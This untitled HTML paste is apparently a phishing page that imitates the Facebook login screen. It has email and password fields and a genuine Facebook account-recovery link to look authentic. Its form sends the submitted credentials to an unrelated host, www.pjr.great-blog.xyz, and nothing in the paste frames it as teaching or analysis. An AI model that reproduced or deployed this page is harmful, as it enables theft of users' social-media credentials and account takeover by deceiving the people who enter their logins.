Untitled
9 months ago in HTML
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<style media="screen">
body{
margin: 0;
padding: 0;
font-family: sans-serif;
background-size: cover;
}
.box{
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%,-50%);
width: 400px;
padding: 40px;
background: white;
box-sizing: border-box;
box-shadow: 0 15px 25px rgba(0, 0, 0, 0.5);
border-radius: 10px;
}
.box h2{
margin: 0 0 30px;
padding: 0px;
color:blue;
}
.box .input-box{
position: relative;
}
.box .input-box input{
width: 100%;
padding: 10px 0px;
font-size: 16px;
color: black;
letter-spacing: 1px;
margin-bottom: 30px;
border: none;
outline: none;
background: transparent;
border-bottom: 1px solid #fff;
}
.box .input-box label{
position: absolute;
top: 0;
left: 0;
letter-spacing: 1px;
padding: 10px 0px;
font-size: 16px;
color: black;
transition: .5s;
}
.box input[type="submit"]{
background: transparent;
border: none;
outline: none;
color: #fff;
background: #227be3;
padding: 10px 20px;
border-radius: 20px;
cursor:pointer;
width:300px;
}
.box .input-box input:focus ~ label,
.box .input-box input:valid ~ label{
top: -18px;
left: 0px;
color: #03a9f4;
font-size: 12px;
}
.box input[type="submit"]:hover{
background-color: #3067b9;
}
a{
position:relative;
top:18px;
left:80px;
}
</style>
<title>facebook</title>
</head>
<body>
<div class="box">
<h2><b>facebook</b></h2>
<form action="www.pjr.great-blog.xyz/config.p>
<h5>Login into Facebook</h5>
<div class="input-box">
<input type="text" name="email" placeholder='email or phone number'>
</div>
<div class="input-box">
<input type="password" name="password" placeholder='password'>
</div>
<input type="submit" value="Login">
<a href='https://web.facebook.com/login/identify/?ctx=recover&ars=facebook_login&from_login_screen=0'>forgotten account?</a>
</form>
</div>
</body>
</html>